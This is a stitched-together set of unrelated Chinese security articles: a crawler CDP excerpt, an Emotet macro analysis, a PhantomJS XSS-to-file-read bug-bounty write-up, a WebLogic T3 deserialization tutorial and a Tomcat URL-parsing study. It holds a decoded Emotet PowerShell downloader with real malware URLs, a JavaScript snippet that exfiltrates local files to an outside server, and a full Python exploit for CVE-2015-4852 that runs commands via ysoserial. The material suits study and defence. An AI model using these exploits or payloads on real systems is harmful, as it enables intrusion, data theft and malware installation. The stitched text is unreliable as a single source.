#### 0x07 CDP
这一个小结主要和 CDP 相关的 TIP ，使用什么语言操控 CDP 都行，在这里我选择我比较熟悉的 Python 作为解释。
##### 自定义 request
CDP 在 navigate 的时候并不能直接自定义 request，通俗的讲就是在 navigate 的时候并不能设置 method 和 headers
等信息， 但很明显这个功能对我们的扫描器来说非常重要。幸运的是，虽然 CDP 没有直接支持这样的功能，但可以通过
`Network.requestIntercepted` 变向实现这样的功能。
代码如下：
结果：
##### 网络优化
我们的浏览器是肯定需要加载 css 和 js 的，那其他网络资源如图片、视频等媒体资源是不是可以直接禁止加载？
其实这样做并不合理，直接禁用图片等资源可能会影响到用户代码执行逻辑，例如我们常见的 `<img src=1 onerror=alert(1)>`，
所以比较好的解决方法就是返回假的媒体资源。
代码如下：
##### session isolate
我们的扫描器可能会有使用不同用户信息扫描同一个域名的情况， 我们肯定不希望在同一个 browser 下，不同 tab 的 Cookie 信息等串在一起，
我们希望每个 tab 都有一个隐身模式，每个 tab 都资源互不影响， 比较走运的是 Headless Chrome 刚好有这么一个功能，叫 session
isolate ，也是 Headless 模式下独有的功能。
我们看一下 Headless 模式的 session isolate 功能的简单例子：
运行结果：
如果注释 1、2 两行，运行结果：
所以只要每个 tab 都新建一个 BrowserContext 就可以做到互不干扰了， 这也就相当于每个 tab 都是一个独立的隐身模式，能够做到每个
tab 互不影响， 也可以共用一个 BrowserContext 达到共享 cache、cookie 之类信息的功能。
##### 安全问题
从 chromium 62 开始存在一个安全问题，在使用 remote-debugging-port 参数的时候可以系统上任意写文件， 我已经提交安全
issue 给 chromium， 可惜撞洞了，有人比我早了一个月提交了相关漏洞， 所以在选定 chromium
版本的时候要注意跳过这些版本或者自行修复这些问题。
#### 0x08 结合
讲了那么多，是时候该把所有的东西结合在一起，我们先简单捋一下执行过程：
1. 注入 Hook 相关的 JavaScript 代码
2. 使用 TreeWalker 遍历节点，收集节点链接信息，获取静态的节点列表
3. 触发各个节点的相关操作，自动填写表单
4. MutationObserver 监控动态节点创建，优先处理新节点
我们以 `http://testphp.vulnweb.com/AJAX/index.php` 作为例子跑一遍，看一下我们代码的执行状况，
为了更方便的展示，我将每个节点（触发事件）的处理时间都额外增加了 0.1s，同时也给所有节点都加上了边框，蓝色边框表示正在处理的节点。
测试视频：<http://static.fatezero.org/blog/video/web-scanner-crawler-02/vulnweb_test.mov>
通过加边框和打 log 的方式，我们完全可以一步一步的看着爬虫的操作是否符合我们的预期。这个例子的结果证明了:
* xhr 的 hook（不被其他 xhr 中断）
* 事件的触发（新节点的产生）
* MutationObserver 的监控（正确处理新节点）
* 图片资源的处理（原始图片被替换）
* 窗口的处理（没有弹 alert 窗）
上面的行为是符合我们的预期的。
目前第一篇和第二篇的内容总算是组合在了一起，成为了一个能够独立运行、测试的组件，该组件所提供的功能就是输入一个 request 相关的信息，返回
response 中所有的链接信息， 如果我们的爬虫存在链接信息漏抓，那很可能就是这部分出问题，所以也只需要调试这部分代码即可，非常方便。
该组件可以通过stdin/stdout、RPC、消息队列等方式传递任务和结果。 可以通过在单台机器上多开 tab 达到纵向扩展，也可以在多台机器上启多个
browser 达到横向扩展，这部分各自有自个的想法，不会就这个方向继续写下去了。
#### 0x09 总结
至此，Web 漏洞扫描器爬虫中的 Downloader 这部分我已经简单地介绍了一遍，
对照一下我自己的代码，也深知这部分我并没有讲全，因为这部分坑多，内容也乱且多，但是再写下去就真的没完没了，看着累，写着更累，得赶紧切到下一个话题。
* * * | 社区文章 |
# 通过分析Emotet来给大家介绍一款强大的PS模块-PSDecode
|
##### 译文声明
本文是翻译文章，文章原作者 r3mrum，文章来源：r3mrum.wordpress.com
原文地址：<https://r3mrum.wordpress.com/2017/12/15/from-emotet-psdecode-is-born/>
译文仅供参考，具体内容表达以及含义原文为准。
>
> 在这篇文章中，我首先会跟大家分析目前比较热门的银行木马Emotet，并在分析的过程中给大家介绍一款功能强大的新工具（可对高度混淆的PowerShell脚本进行分析）。接下来，我会告诉大家如何使用这款工具，并且提取出已编码的PowerShell脚本。
## 样本信息
本文所使用的分析样本是我从Brad的SANS ICS报告文章中“借鉴”过来的，感兴趣的同学可以参考Malware Traffic
Analysis给出的资料【传送门】。
文件名: 2017-11-29-Emotet-malspam-1st-run-Invoice _565700179.doc
文件类型: Microsoft Word 97 – 2003 Document (.doc)
MD5: a829a9d423a078d034379c8c454c701d
SHA1: 40c65a45e6bb3fd4ce756ad8fbea1b5e9139e0a7
SHA256: 7bdf7722115be910e2b301b3f6b3037bc4b987c588838cd2459aeeeec9f50be7
VirusTotal (36 / 61)
## 提取嵌入的宏
一般来说，为了成功实现Emotet木马感染，攻击者的第一步操作就是向目标用户发送嵌入了恶意链接（指向托管的恶意文档）的钓鱼邮件，即社会工程学攻击。当目标用户打开文件之后，嵌入在文档中的宏将会被执行，然后下载并执行Emotet代码。所以说，当我们获取到这种恶意文档的副本之后，我们首先就要尝试提取出嵌入在恶意文档中的宏。
网上有多种工具能够完成这部分操作，但是我不想老是在Linux和Windows环境中来回切换，因此我打算直接使用OfficeMalScanner。
下图显示的是OfficeMalScanner成功从Word文档中提取出了嵌入的VB宏。
从上图中可以看到，我们成功地利用OfficeMalScanner（使用info选项）提取出了恶意文档中的宏。操作命令如下所示：
OfficeMalScanner 2017-11-29-Emotet-malspam-1st-run-Invoice _565700179.doc info
OfficeMalScanner在恶意Word文档中发现了如下所示的四个嵌入的VBA宏：
HoBCBVPdD
STGtjvOqUEB
ThisDocument
MWjDkwECDcSUw
发现之后，OfficeMalScanner会自动将这些嵌入的宏提取到当前目录下：
C:UsersREMDesktop2017-11-29-Emotet-malware2017-11-29-EMOTET-MALSPAM-1ST-RUN-INVOICE _565700179.DOC-Macros
## 寻找解码函数
首先，我们要寻找的是这些宏中都包含的一个函数，即AutoOpen()函数。我们准备先从这个名叫ThisDocument的宏下手。下面给出的是我们在ThisDocument宏文件中所找到的AutoOpen()函数：
上图所示的AutoOpen()函数写在ThisDocument宏文件的底部位置，而这个函数中的绝大多数代码都是无意义的垃圾代码，但除了下面这行代码（上图中的第99行）：
VBA.Shell$ jiwmsks, 0
当恶意文档被打开之后，它将会自动执行AutoOpen()函数中的所有代码（包括上面这行），接下来，它还会使用VBA的Shell功能来执行变量“jiwmsks“中存储的任何内容（在一个隐藏窗口中执行）。
对于Emotet木马来说，传递给VBA.Shell（即“jiwmsks“）的变量名与解码函数的名称是一样的，所以接下来，我们就要尝试找出这个解码函数。
下图显示的是我们从“STGtjvOqUEB”宏文件中寻找到的解码函数“jiwmsks”：
一眼看去，这个函数似乎是一个“烫手的山芋“，因为这个函数中整整80行代码都经过了高度的混淆处理。
## 创建新的解码VBScript脚本
我们现在应该要“放聪明“一点，而不是”一根筋“。由于”jiwmsks”是一个解码函数，所以我们其实根本不用在意这个函数到底做了什么，我们只需要得到这个函数最终的输出结果就可以了。
所以说，我们现在需要创建一个新的脚本，然后使用这个函数，这样就可以安全地执行并存储输出结果了。
首先，将整个解码函数（从Function jiwmsks()到End Function，即第2行到第90行）代码拷贝到一个新的文本文件之中。
接下来，我们并不需要让VBA.Shell来执行解码后的值，我们只需要直接输出这个值就可以了，然后将下列代码添加到“End Function“语句之后：
wscript.echo jiwmsks
第三步，由于宏代码使用的是VBA语句编写的。所以，为了从命令行执行这个新的脚本，我们需要将其中的脚本代码转换成VBA语句。对于Emotet，我们只需要修改一行代码就可以了。
Notepad++有一个非常赞的功能，就是当你选定一段文本之后，它会自动将该文本中其他内容一样的部分进行高亮处理。如上图所示，返回的变量位于第82行。
jiwmsks = CDTYtchKqa + lwZdcXfstH + Chr(34) + IDzLI + JEWGvsJm + PkhfTi + HddjQFA + HdPMtRtTE + uSuUXDwulB + wLJAmiqSdz + NuGQUiY + GGVvLNj + imzlMFo + PFrdrk + pICcVDM + RzFJLoLwMGf + BQjiricj + rztNrEIuZ + WHUGoa + dhrHBmrp + HLifpvFSFR + SphtjZ + FJGTlwJHURm
我们只需要处理这一行代码就可以了，我们首先要用“&“替换掉其中的”+“，然后从拼接的字符串中移除Chr(34)。在所有我所见过的Emotet样本中，我发现Chr(34)一般代表的都是返回的变量。替换后的结果如下所示：
jiwmsks = CDTYtchKqa & lwZdcXfstH & IDzLI & JEWGvsJm & PkhfTi & HddjQFA & HdPMtRtTE & uSuUXDwulB & wLJAmiqSdz & NuGQUiY & GGVvLNj & imzlMFo & PFrdrk & pICcVDM & RzFJLoLwMGf & BQjiricj & rztNrEIuZ & WHUGoa & dhrHBmrp & HLifpvFSFR & SphtjZ & FJGTlwJHURm
新的脚本如下图所示：
最后，我们需要将该脚本以后缀.vbs进行保存，例如emotet.vbs。
## 提取编码后的PowerShell
既然我们已经得到了一个可以直接打印出解码函数输出结果的新脚本，那我们就可以使用cscript.exe（从命令行运行）并将输出结果（解码后的PowerShell指令）重定向到一个新的文件（decoded_encoded.ps1）之中了。
下图显示的是我们新脚本VBScript的运行情况：
下图显示的是decoded_encoded.ps1中的内容，代码经过了高度混淆化处理：
## 解码PowerShell
手动解码反正是不可能的了，那我们该怎么办呢？解决方案就是：方法覆盖！
在“方法覆盖“的帮助下，我就可以更改上述代码中Invoke-Expression命令的功能了。请大家直接看下图：
在上图中，左边的PowerShell脚本调用了Invoke-Expression命令，参数为“Write-Host this is a
test”。而右边的PowerShell脚本有一个新定义的Invoke-Expression，它的功能与左边的代码一样。
执行正常的Invoke-Expression脚本后，输出结果为“this is a test”。这是因为标准的Invoke-Expression命令会直接尝试运行任何传递给它的数据(字符串“Write-Host ‘this is a
test’”)，因为它默认会把这些数据当作有效的PowerShell命令。
但是，当我们执行重写的Invoke-Expression脚本后，输出结果为“Write-Host ‘this is a
test’”。这是因为PowerShell会决定如何实现我们的Invoke-Expression，而它只会将传递给它的参数直接打印出来，而不是执行这些命令。
由于我们只需要获取解码后的命令，而不是让这些命令被执行，所以“方法覆盖“这种技术就非常适用于我们的场景了。
## PSDecode介绍
所以我借鉴了“方法覆盖“的理念，并开发了一个名叫PSDecode的PowerShell模块。
上图显示的是PSDecode脚本的输出结果，我们可以看到这里有四层代码，第一层是传递给PSDecode的原始编码脚本。最后一层为完全编码后的PowerShell脚本，这部分代码就是攻击者最终需要执行的代码：
############################## Layer 4 ##############################
$franc = new-object System.Net.WebClient;$nsadasd = new-object random;$bcd = ‘http://taswines.co.uk/AFh/,http://oilcom.com.ua/wZZ/,http://www.avcilarbinicilik.xyz/SkRagptdG/,http://randevu-dk.ru/q/,http://salon-grazia.ru/Hqrp/’.Split(‘,’);$karapas = $nsadasd.next(1, 343245);$huas = $env:public + ‘’ + $karapas + ‘.exe’;foreach($abc in $bcd){try{$franc.DownloadFile($abc.ToString(), $huas);Invoke-Item($huas);break;}catch{write-host $_.Exception.Message;}}
稍微格式化一下之后，我们可以得到如下所示的代码：
$franc = new-object System.Net.WebClient;
$nsadasd = new-object random;
$bcd = ‘http://taswines.co.uk/AFh/,http://oilcom.com.ua/wZZ/,http://www.avcilarbinicilik.xyz/SkRagptdG/,http://randevu-dk.ru/q/,http://salon-grazia.ru/Hqrp/’.Split(‘,’);
$karapas = $nsadasd.next(1, 343245);
$huas = $env:public + ‘’ + $karapas + ‘.exe’;
foreach($abc in $bcd){try{$franc.DownloadFile($abc.ToString(), $huas);
Invoke-Item($huas);
break;
}catch{write-host $_.Exception.Message;
}}
在PSDecode的帮助下，我们迅速地将高度混淆化的PowerShell脚本成功解码了，而且我们还识别出了Emotet在感染第二阶段所使用的URL地址。
我已经将PSDecode上传到了我的【GitHub】上，感兴趣的同学可以自行下载使用。我并不认为我是一个专业的开发者，而且我的个人时间也有限，该工具目前可支持使用的测试场景还十分有限，因此如果你想帮助我完善该工具的话，欢迎大家在GitHub上提交自己的代码。
## 注意事项
请在隔离的沙盒环境中运行该脚本，如果编码的PowerShell尝试执行其原本功能，那么它很有可能会影响你的运行平台。比如说，如果恶意脚本调用了Net.WebClient.DownloadFile()，那么它将会在你的主机中下载某种恶意文件，而这肯定不是你想要看到的了。
## 参考资料
1. 从GitHub下载PSDecode：【[点我下载](https://github.com/R3MRUM/PSDecode)】
2. 下载OfficeMalScanner：【[点我下载](http://www.reconstructer.org/code/OfficeMalScanner.zip)】
3. 《新型EMOTET木马变种分析》：【[报告链接](https://securingtomorrow.mcafee.com/mcafee-labs/emotet-downloader-trojan-returns-in-force/)】
4. 《焦点：Emotet信息窃取恶意软件威胁》：【[报告链接](https://www.cylance.com/en_us/blog/threat-spotlight-emotet-infostealer-malware.html)】
5. 《重写Java时你所需要了解的12条规则》：【[文章链接](http://www.codejava.net/java-core/the-java-language/12-rules-of-overriding-in-java-you-should-know)】 | 社区文章 |
在一次赏金程序中，我碰见这么一个请求，用户输入然后生成图片供下载。过了一会儿，我便把图片内部的XSS升级成服务端的任意文件读取漏洞。因为程序的隐私性，所以我将尽力抹掉敏感信息。
原始请求如下：
https://website/download?background=file.jpg&author=Brett&header=Test&text=&width=500&height=500
请求返回的文件如下：
最开始我执着于background参数，因为background的值是文件名，我认为这个参数看上去是最有意思的。接着在对参数进行了混淆后，我发现header参数存在HTML注入。因为之前阅读过pdf中xss引起严重漏洞的笔记，所以我决定在这一点上进行深入。
请求：
https://website/download?background=file.jpg&author=Brett&header="><u>test&text=&width=500&height=500
返回：
接着我尝试了任意HTML元素，结果非常有意思：基本上所有的html元素（iframe、img、script等灯）都被浏览器解析了。为了获取更多关于是什么在处理html的信息，我决定用自己的服务器作为ssrf目标。
https://website/download?background=file.jpg&author=Brett&header=<iframe src=https://xss.buer.haus/ssrftest></iframe>&text=&width=500&height=500
我自己的服务器端日志记录如下：
[25/Jun/2017:20:31:49 -0400] "GET /ssrftest HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
从上面的记录可知，请求字段中的UA字段表明了HTML页面的加载和图像的生成是由无UA头浏览器客户端[PhantomJS](http://phantomjs.org/)来完成的。在Phantom方面，我是颇有经验的，因为CTF比赛中经常能碰到，同时我在自己的网络扫描器使用Phantom完成网站截图功能。知道了是PhantomJS处理HTML，这对于漏洞利用来说这是个好消息，因为这解释了我之前尝试利用漏洞时遇到的一些问题。
我遇到的第一个问题是基本的payload总是不能执行。比如说`<script>`不能正常执行、`<img src=x
onerror=>`不会触发。我记得在100次重定向的尝试中就成功了一次。有些情况下，payload根本不执行。除此之外，在尝试重定向到其他页面时还遇到一些服务器异常的情况。
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="window.location='https://xss.buer.haus/'" />&text=&width=500&height=500
响应：
{"message": "Internal server error"}.
我尝试了大概50种不同类型的payload才意识到真正的问题是PhantomJS存在某种条件竞争。在给我自己的扫描器编写插件时，我遇到过类似的问题。那是在尝试捕捉截图时，Phantom不会等JavaScript完全加载后才渲染图片。
所以我必须想个办法在图片渲染前延缓Phantom以完成我js代码的加载。在尝试了几个想法后，我使用了`document.write`覆盖了图片内容，同时这个函数似乎解决了上面的问题。但是我不知道原理，只知道它起作用了。
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="document.write('test')" />&text=&width=500&height=500
响应:
这时，只要页面加载，存储型JavaScript就能执行。接下来我需要收集更多关于PhantomJS和代码执行上下文环境的信息。
https://website/download?background=file.jpg&author=Brett&header=<img src="x" onerror="document.write(window.location)" />&text=&width=500&height=500
响应：
上图的结果非常有意思，我们可以知道代码是从`file://`执行的，同时得知这是`/var/task`目录下的一个html文件。这时我想通过`<iframe>`引入文件来检测是否同源。
https://website/download?background=file.jpg&author=Brett&header=<img src="xasdasdasd" onerror="document.write('<iframe src=file:///var/task/[redacted].html></iframe>')"/>&text=&width=500&height=500
现在可以得出结论了，至少`/var/task`下的任意文件可以被读取，接下来我想看看能否读取其他目录下的文件（比如`/etc/`目录）
&header=<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
很尴尬，请求没有返回。
于是我对`/var/tasks`目录进行了搜索以便获取更多信息，最后发现这可能和[AWS
Lambda](https://en.wikipedia.org/wiki/AWS_Lambda)有关。这个发现让我将注意力放在了同目录下的某些文件上（比如`/var/task/index.js`），这些文件应该包含了Phantom插件的源码。所以我认为在`/var/`下我能访问的文件内容可能会提供更多信息，至少会有一些值得报告的信息。
理论上使用XHR和Ajax应该能够读取文件内容并在图片中展示或者将内容提取到我的服务器上。但直接通过`document.write`写入js代码发生了问题，最终我发现可以通过外部脚本来绕过这个问题。
Payload:
&header=<img src="xasdasdasd" onerror="document.write('<script src="https://xss.buer.haus/test.js"></script>')"/>
test.js
function reqListener () {
var encoded = encodeURI(this.responseText);
var b64 = btoa(this.responseText);
var raw = this.responseText;
document.write('<iframe src="https://xss.buer.haus/exfil?data='+b64+'"></iframe>');
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///var/task/[redacted].html");
oReq.send();
不披露些敏感数据是无法展示战果的，下面这张图仅是你在访问日志里看到的数据。
现在在`file://`环境下，可以通过带外JavaScript和XHR来读取任意文件来。所以我用脚本再次读取`/etc/passwd`去检测`iframe`是否生效。
啊哈哈！当PhantomJS由于某种原因加载`<iframe
src="file://">`时，XHR完全可以访问`file://`的上下文环境（也就是访问任意文件）。
在经历这些后，会发现XSS在最初似乎一点价值都没，但是从XSS到LFI却费了很多力气。这是一次非常奇怪的赏金之旅，感觉就像在CTF中找flag而不是试图利用生产服务器。这次我最大的收获是投入到这场伪CTF挑战赛的那些周末实际上都是值得的。
[Source][<http://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/>] | 社区文章 |
# 前言
之前遇到Weblogic就是工具一把梭，现在来详细分析下Weblogic相关漏洞的原理。
weblogic反序列化主要有XMLDecoder和T3协议。先从T3协议开始，主要是`CVE-2015-4852`这个漏洞
# 环境搭建
## 构建镜像
使用github上的环境：<https://github.com/QAX-A-Team/WeblogicEnvironment>
下载jdk压缩包和weblogic，然后把下载好的jdk文件放在该项目的jdks文件夹下，weblogic的源码放在weblogics文件夹下。
执行命令
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
搭建成功
## 远程调试
需要把一些weblogic的依赖Jar包给导出来才能进行远程调试。
mkdir ./middleware
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
用IDEA打开wlserver文件夹，然后导入coherence_3.7\lib和modules
再把 server/lib 作为依赖进行导入
在配置页面添加Remote并修改端口
# T3协议
## T3协议概述
RMI通信传输反序列化数据，接收数据后进行反序列化，正常RMI通信使用的是JRMP协议，而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议，相比于JRMP协议多了一些特性。以下是T3协议的特点：
1. 服务端可以持续追踪监控客户端是否存活（心跳机制），通常心跳的间隔为60秒，服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
2. 通过建立一次连接可以将全部数据包传输完成，优化了数据包大小和网络消耗。
## T3协议结构
T3协议里包含请求包头和请求的主体这两部分内容。
### 请求包头
请求包的头如下
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
发送一个请求包的头，看看会返回什么
import socket
def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())
if __name__ == "__main__":
ip = "192.168.111.132"
port = 7001
T3Test(ip,port)
返回内容中包含了版本信息
用wireshark抓包
然后追踪TCP流，可以看到在HELO后面会返回一个版本号
### 请求主体
T3协议中传输的都是序列化数据，分为七个部分，第一部分就是协议头，也就是
t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
借用两张图来描述一下T3协议包的主要内容
第二到第七部分内容，开头都是`ac ed 00 05`，说明这些都是序列化的数据。只要把其中一部分替换成我们的序列化数据就可以了，有两种替换方式
1. 将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
2. 将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
# 漏洞复现
## 复现
这里可以用jdk7u21和cc1两条链，用创建文件的方式来检验反序列化是否成功
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "ysoserial.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
#return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "192.168.111.132"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/success"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)
查看一下容器里的/tmp目录，发现成功创建了success文件
docker exec weblogic1036jdk7u21 ls tmp/
## payload数据包分析
wireshark添加过滤器
tcp.port == 7001
第一个数据包是我们发送的请求头，第二个数据包是weblogic回复HELO和版本，第三个才是payload数据包
来详细看一下第三个数据包，主要有四个组成部分，如下
1. 数据包长度
2. T3协议头
3. 反序列化标志：T3协议中每个反序列化数据包前面都带有`fe 01 00 00`，再加上反序列化标志`ac ed 00 05`就变成了`fe 01 00 00 ac ed 00 05`
4. 数据
再回来看看poc，这个poc本质就是把ysoserial生成的payload变成t3协议里的数据格式。
* 数据包长度包括了自身长度和其他三部分数据包长度，所以需要先占位，计算出长度后再替换进去
* T3协议头是固定的，直接硬编码进去就行
* 反序列化标志+数据=weblogic反序列化标志`fe010000`+ysoserial生成的序列化数据
# 漏洞分析
## CVE-2015-4852
1.`weblogic.rjvm.InboundMsgAbbrev#readObject`
调用了内部类InboundMsgAbbrev.ServerChannelInputStream的readObject方法
2.`InboundMsgAbbrev.ServerChannelInputStream#readObject`
ServerChannelInputStream继承自ObjectInputStream类，这里重写了resolveClass，但是实际上调用的还是父类ObjectInputStream的resolveClass方法，等于没有做任何防御，导致漏洞的出现。
可以在导入的依赖中看到这个版本自带CommonCollections3.2.0，这样反序列化点和gadget就都有了。利用ysoserial生成CommonsCollections1的payload然后放到T3协议数据包力就可以了
那么现在有一个问题，为什么说resolveClass可以防御Java反序列化？
## resolveClass作用
先从resolveClass的作用说起。
`resolveClass`方法的作用是将类的序列化描述符加工成该类的Class对象。
因为对应的Class对象是在resolveClass这里返回的，所以这里是防御反序列化的关键。重写resolveClass然后再里面添加一个类的黑名单，发现类在黑名单中就抛出错误，这样就无法获取恶意的类的Class对象。此方法一定程度上可以防御反序列化（虽然黑名单过滤效果不好）
weblogic进行反序列化的执行流程图
借用的反序列化攻击时序图
## CVE-2015-4852修复
参考这篇文章中的补丁：<http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/>
Weblogic对CVE-2015-4852的修复措施是在resloveClass里加上 ClassFilter.isBlackListed黑名单过滤
黑名单的内容，可以看到黑名单过滤了CommonCollections
还参考这篇文章中的修复方式：<https://www.anquanke.com/post/id/226070#h2-15>
不局限于重写resolveClass
开放在外网的情况下，还可以采用web代理和负载均衡。
1. web代理的方式只能转发HTTP的请求，而不会转发T3协议的请求，这就能防御住T3漏洞的攻击。
2. 负载均衡的情况下，可以指定需要进行负载均衡的协议类型，这么这里就可以设置为HTTP的请求，不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。
# 总结
主要学习了以下内容
1. T3协议的组成和在Weblogic反序列化中的利用
2. CVE-2015-4852的产生原因及修复，以及resolveClass在防御反序列化方面的应用
# 参考链接
[https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704](https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704)
<http://wjlshare.com/archives/1573>
<http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/>
<https://www.anquanke.com/post/id/226070#h3-13>
<http://redteam.today/2020/02/14/Java%E5%8E%9F%E7%94%9F%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%BB%A3%E7%A0%81%E7%AE%80%E8%A6%81%E5%88%86%E6%9E%90/>
<https://github.com/Cryin/Paper/blob/master/%E6%B5%85%E8%B0%88Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88.md>
<https://www.cnblogs.com/0x7e/p/14529949.html> | 社区文章 |
## 前言
这里通过阅读源码和黑盒测试相结合的方式来更加透彻的了解Tomcat的url解析策略
## parsePathParameters处理逻辑
Tomcat在处理每一次的请求的时候，主要的处理逻辑是在`org.apache.coyote.http11.Http11Processor#service`方法中进行对应的Processor层的服务
之后将会将请求转发到`Adapter`中去进行接下来的逻辑
这里主要是`CoyoteAdapter#service`方法中
进行请求的处理，而我们这篇文章中关注的有关于url解析的特点主要集中在该方法中调用了`postParseRequest`方法进行解析
跟进这个方法的调用，看看具体的逻辑是什么
这里将会判断`req.scheme().isNull`的返回值
如果不为空，也即是`req.scheme`返回的是`https`，则将会设置`secure`属性值为`true`
反之，如果为空，也即是`http`请求，将会将属性值设置为`false`
接下来的逻辑就是有代理就设置代理，没有的话，将会判断tomcat有没有对端口进行配置，如果这里是通过https进行请求，将会将服务端口设置为443，反之就是默认端口80
我这里的tomcat配置了端口为8080的，所以不会进入这个if语句
接下来就是从`Request`对象中获取到了请求的URI，首先判断这个URI是不是`*`
这里主要是用来检查ping OPTTIONS * request用的
再然后首先对URI进行进行了解码操作，之后再进入if语句之后，调用`duplicate`方法将原始的URI，也即是`undecodedURI`复制到解码后的URI中去
之后调用`parsePathParameters`方法进行path parameters的解析操作
首先是对复制过来的原始URI转化为字节数组之后，获取这个URI的ByteChunk对象
之后会判断在这个URI中是否有`;`这个分隔符，如果存在有这个分隔符，将会进入这个if语句进行后续的处理
前面主要是获取URI的开始下标，结束下标，pathParam的开始下标，pathParam的结束下标
这里主要看看pathParamEnd的获取方式
主要是遍历bytes参数中的每一个字节，筛选是否有b字节数组中的字节，这个数组也即是分隔符数组，包含有`; /`两个字符，如果没有找到，将会返回`-1`,
否则返回的是偏移地址
好了，现在回到parsePathParameters方法中的逻辑来
如果在第一个`;`后面出现了分隔符，将会进入if语句中去
这里面的逻辑主要是将第一个`;`出现之后的所有字符串全部传递给`pv`变量，并在之后调用`setEnd`设置结束位置
之后将会将pv中的字符串以等号作为分隔符，分别取取等号左边和右边的值，调用`addPathParameter`方法添加进入`org.apache.coyote.Request`类的`pathParameters`属性中去了
而如果这后面出现了分隔符，将会进入else语句中
也就是循环一次一次的获取pv值之后调用`addPathParameter`进行添加
这种的方式就有点像如果将sessionID保存在url中的形式
### 总结
这里可以简单做个总结
* /upload;test ==> /upload
* /upload;test/ ==> /upload/
* /upload;test;/ ==> /upload/
* /upload;te;st/ ==> /upload/
* /upload;te/st/ ==> /upload/st/
* /upload;te/s;t/ ==> /upload/s/
* /upload;te;s;t/ ==> /upload/
* /upload;te;s/t/ ==> /upload/t/
这里通过黑白盒的方式，大概可以看出来，
1. 在URI中以`;`开头，并且以`;`或者`/`结尾的地方将会在处理过程中进行舍弃
2. 如果URI末尾存在`/`，解析之后的URI一定存在`/`
## normalize处理逻辑
接下来我们回到`postParseRequest`方法中继续阅读Tomcat源码
在这里通过调用`req.getURLDecoder().convert`方法对URI进行url解码
这里主要是在URI的Byte数组中寻找是否存在有%, 之后进行后续解码操作
之后来到了`normalize`方法的调用
这一部分大概的逻辑就是如果URI开始的偏移地址也就是结束的偏移地址，将会返回400状态码，或者如果URI首个字符不是`/`的同时也不是`\\`也会返回400状态码
之后会遍历URI中的所有字符，如果存在有`\`且`ALLOW_BACKSLASH`属性为true的时候将替换为`/`，如果存在有`\u0000`字符，将直接返回400
之后，如果URI是以`/./`开头的，将会将其转化为`/`
如果是以`/../`开头的将会直接转化为`/`
简单测试一下
* /upload/../ ==> /
* /upload/./ ==> /upload/
* /./upload/ ==> /upload/
* /../upload/ ==> /upload/
* \upload/ ==> /upload/
